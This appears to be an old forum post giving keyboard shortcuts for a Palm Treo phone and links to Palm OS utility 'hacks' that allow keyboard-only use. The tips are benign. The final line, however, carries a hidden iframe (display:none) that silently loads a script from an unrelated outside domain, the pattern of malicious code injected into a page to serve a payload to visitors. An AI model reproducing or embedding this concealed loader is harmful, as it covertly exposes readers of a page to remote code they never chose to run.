I decided to make a list of commands to help you do most functions with just the keyboard. Be advised this is a lot to remember so pratice makes perfect.

You will need several apps to help the keyboard. These I'll list later.
Here is a list of functions you can do right out the box.

1)When in the phone app you can dial a phone number by pressing the numbers on the keyboard. No matter which page of the three pages in the phone app you are on.
2)When receiving anything or when the selection pops up with a Yes or No use the up and down buttons for this. (Up button for Yes and the Down button for No)
3)When using the caculator for basic math you can use the Keyboard also. Plus(letter G) and Minus(letter F) symbol is shown on keyboard. Equal symbol is the enter key. Clear symbol is the backspace key. Divide symbol is key letter R . Multiplication symbol is key letter T( it has an asteric for the symbol) Those I know of so far. I'm sure there's more.
4)When sending an email you can indent but I forgot how to do. I'll get back with to that. There's more but I can't remember everything. If you figure out more let me know.

Here are a group of apps that will help you use the keyboard to its fullest so you don't have to use your stylus.
All or most of these you can get at http://www.palmgear.com/software/answernew.cfm?sid=25169220021223124314&quicksearch2=hacks&CFID=6958686&CFTOKEN=28172194

X-Master- need this app to load any hack on the Treo
http://www.palmgear.com/software/showsoftware.cfm?sid=75546820030205180611&prodID=12184

TreoButton- use this hack to select apps by pressing the option button with a hard button or the caps bar with a hard button
http://www.palmgear.com/software/showsoftware.cfm?sid=75546820030205180611&prodID=40243

Switcheroo- use this hack to select apps by assigning letters to a particular app. After assigning a letter select an app by pressing the option key and the spacebar.
http://www.palmgear.com/software/showsoftware.cfm?sid=75546820030205180611&prodID=10046

KeyCapsHack- when typing this hack lets you select symbols easier by pressing a letter or nuber twice or three times.
http://www.palmgear.com/software/showsoftware.cfm?prodID=45932

TapDial- this hack lets you assign a speedial number to a letter on the keyboard.
http://palmgear.com/software/showsoftware.cfm?sid=75546820030205180611&prodID=45418

OKeyHack-
http://www.palmgear.com/software/showsoftware.cfm?sid=83295220021011104245&prodID=45479

PowerJog- this hack lets you select an app with the jog dial
http://palmgear.com/software/showsoftware.cfm?sid=35691920030105075453&prodID=40142

CorrectHack- use this hack to make shortcuts when typing by assigning a shortcut for every word. Ex. yy= you're
http://www.dovcom.com/correcthack.html

Speedy2.5- this hack lets you select apps by just typing the name of the app.
http://palmgear.com/software/showsoftware.cfm?sid=35691920030105075453&prodID=6899

Mcphling- allows you to quickly switch from your current application to the previous one
http://palmgear.com/software/showsoftware.cfm?sid=25169220021223124314&prodID=11596

TreoKeyboardUtilities- enables cursor moving with keyboard. Assign letters to move left or right, up or down.
http://www.freewarepalm.com/utilities/treokeyboardutils.shtml

Stay Online Hack - Use this hack to keep the Treo online when the lid is closed. Great for opening a webpage and closing your lid while you wait for the webpage to open.

http://www.freewarepalm.com/utilities/stayonlinehack.shtml

There are many others but these are the top most used. Some are freeware and some are shareware .

Also here's a trick to keeping Treo turned on when the lid is open.

http://discussion.treocentral.com/tcforum/showthread.php?s=&threadid=31421&highlight=hacks<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>